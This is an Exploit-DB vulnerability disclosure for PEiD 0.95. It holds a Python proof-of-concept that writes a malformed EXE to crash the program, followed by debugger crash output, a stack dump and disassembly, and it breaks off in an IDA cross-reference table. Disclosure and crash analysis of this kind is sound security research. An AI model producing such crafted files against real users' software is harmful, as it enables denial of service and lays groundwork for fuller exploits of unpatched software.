Exploit-DB #26413
Description: PEiD 0.95 - Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2013-06-24
Author: Debasish Mandal

Exploit:
# Title: PEiD v0.95 Memory Corruption
# About PEiD :  PEiD is an intuitive application that relies on its user-friendly interface to detect packers, cryptors and compilers found in PE executable files. Very popular among malware researchers for detection of packers / cryptors.
# Date: 22nd June 2013
# Author: Debasish Mandal ( https://twitter.com/debasishm89 )
# Blog : http://www.debasish.in/
# Version: PEiD version 0.95
# Download Link : http://www.softpedia.com/progChangelog/PEiD-updated-Changelog-4102.html
# Tested on: Windows XP SP2 / Windows 7
# Vendor Patch : Unpatched. This software is not under active development. Last stable version released on November 6th, 2008.
# Threat mitigation : Exploitation of this issue requires the user to explicitly open a specially crafted EXE file. So the PEiD user should refrain from opening files from untrusted third parties or accessing untrusted remote sites.

# POC

# c:\python27
junk = "\x41"
header = "MZ"
header += junk * 58
header += "\x80"
header += "\x00" * 3
header += junk * 64
header += "PE"
header += "\x00"*2
header += junk * 3
header += "\x00"
header += junk * 12
header += "\xe0\x00"
header += junk * 2
header += "\x0b\x01"
header += junk * 16
header += "\x00" * 2
header += junk * 338
header += "\x00" * 2
header += junk * 5
header += "\x00" * 3
header += junk * 2427
header += "\xa9"
header += junk * 7
header += "\x90"
header += junk * 3	
header += "\x90"
header += junk * 40
f = open('peid_poc.exe','wb')
f.write(header)
f.close()
'''
Above python code will generate a crafted EXE. This EXE can be used as POC to trigger the Crash of PEiD version 0.95.

(9fc.c2c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=6fbeca5e ecx=00d4fae0 edx=00000019 esi=00000000 edi=91164141
eip=0043d4d1 esp=00d4faac ebp=00d4fee8 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000286
*** WARNING: Unable to verify checksum for C:\Documents and Settings\debasish mandal\Desktop\Tools\PEiD-0.95-20081103\PEiD.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\debasish mandal\Desktop\Tools\PEiD-0.95-20081103\PEiD.exe
PEiD+0x3d4d1:
0043d4d1 8a0c07          mov     cl,byte ptr [edi+eax]      ds:0023:91164141=??

PEiD Crashes at With Read AV @ 0043d4d1. EDI Register is pointing to ring0 : edi=91164141.

Stack Trace:

0:001> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00d4fee8 78b8c3c0 64[PII_REDACTED]058f c4830000 PEiD+0x3d4d1
00d4ff04 0045d1e6 0040867c 00d4ff7c 00000000 0x78b8c3c0
00d4ff40 00455b97 0040867c 00d4ff7c 00000000 PEiD+0x5d1e6
00d4ffb4 7c80b50b 0048650c 001520a8 0012f4bc PEiD+0x55b97
00d4ffe0 7c80b517 [PII_REDACTED] 00000000 kernel32!BaseThreadStart+0x37
00d4ffe4 [PII_REDACTED] 00[PII_REDACTED]5a50 kernel32!BaseThreadStart+0x43

Stack Dump:

0:001> d esp
00d4faac  41 41 41 90 7c ff d4 00-40 ff d4 00 77 ca be 6f  AAA.|...@...w..o
00d4fabc  e0 fa d4 00 37 4c 44 00-41 41 16 91 77 ca be 6f  ....7LD.AA..w..o
00d4facc  dc fa d4 00 20 01 00 00-18 00 00 00 7c 86 40 00  .... .......|.@.
00d4fadc  90 41 91 7c e8 fe d4 00-19 00 00 00 08 00 00 00  .A.|............
00d4faec  1a 00 00 00 1a 00 00 00-1a 00 00 00 05 00 00 00  ................
00d4fafc  0c 00 00 00 1a 00 00 00-1a 00 00 00 1a 00 00 00  ................
00d4fb0c  1a 00 00 00 1a 00 00 00-1a 00 00 00 1a 00 00 00  ................
00d4fb1c  1a 00 00 00 1a 00 00 00-1a 00 00 00 1a 00 00 00  ................

00DFFAAC   90414141   <- ESP
00DFFAB0   00DFFF7C
00DFFAB4   00DFFF40
00DFFAB8   6FBECA77
00DFFABC   00DFFAE0
00DFFAC0   00444C37  RETURN to PEiD.00444C37 from PEiD.0043D4A0
00DFFAC4   91084141
00DFFAC8   6FBECA77
00DFFACC   00DFFADC
00DFFAD0   00000120
00DFFAD4   00000018
00DFFAD8   0040867C  PEiD.0040867C
00DFFADC   7C914190  RETURN to ntdll.7C914190 from ntdll.7C910387

Disassembly of the function where program crashed. Function : PEiD.0043D4A0 (I've named it as "crash_function")

0043D4A0   51               PUSH ECX
0043D4A1   8B51 04          MOV EDX,DWORD PTR DS:[ECX+4]
0043D4A4   8B4424 0C        MOV EAX,DWORD PTR SS:[ESP+C]
0043D4A8   3BC2             CMP EAX,EDX
0043D4AA   890C24           MOV DWORD PTR SS:[ESP],ECX
0043D4AD   7D 06            JGE SHORT PEiD.0043D4B5
0043D4AF   32C0             XOR AL,AL
0043D4B1   59               POP ECX
0043D4B2   C2 0C00          RETN 0C
0043D4B5   53               PUSH EBX
0043D4B6   55               PUSH EBP
0043D4B7   8BD8             MOV EBX,EAX
0043D4B9   56               PUSH ESI
0043D4BA   2BDA             SUB EBX,EDX
0043D4BC   33F6             XOR ESI,ESI
0043D4BE   57               PUSH EDI
0043D4BF   8B7C24 18        MOV EDI,DWORD PTR SS:[ESP+18]
0043D4C3   85DB             TEST EBX,EBX
0043D4C5   7E 34            JLE SHORT PEiD.0043D4FB
0043D4C7   33C0             XOR EAX,EAX
0043D4C9   85D2             TEST EDX,EDX
0043D4CB   7E 42            JLE SHORT PEiD.0043D50F
0043D4CD   8B29             MOV EBP,DWORD PTR DS:[ECX]
0043D4CF   03FE             ADD EDI,ESI
0043D4D1   8A0C07           MOV CL,BYTE PTR DS:[EDI+EAX]   <- Code crashes here
0043D4D4   3A0C28           CMP CL,BYTE PTR DS:[EAX+EBP]
0043D4D7   75 07            JNZ SHORT PEiD.0043D4E0
0043D4D9   40               INC EAX
0043D4DA   3BC2             CMP EAX,EDX

Setting a BP @ Entry 0x0043D4A0 of this function we can see the value of EDI register is already corrupted before entering into this function. 
To find out the cross reference which means other function calling above function we used IDA Pro. 
IDA Pro Shows us that this function is getting called multiple times:

Direction Type Address        Text                  
--------- ---- -------        ----                  
Down      p    sub_43DF00+E1  call    crash_function
Down      p    sub_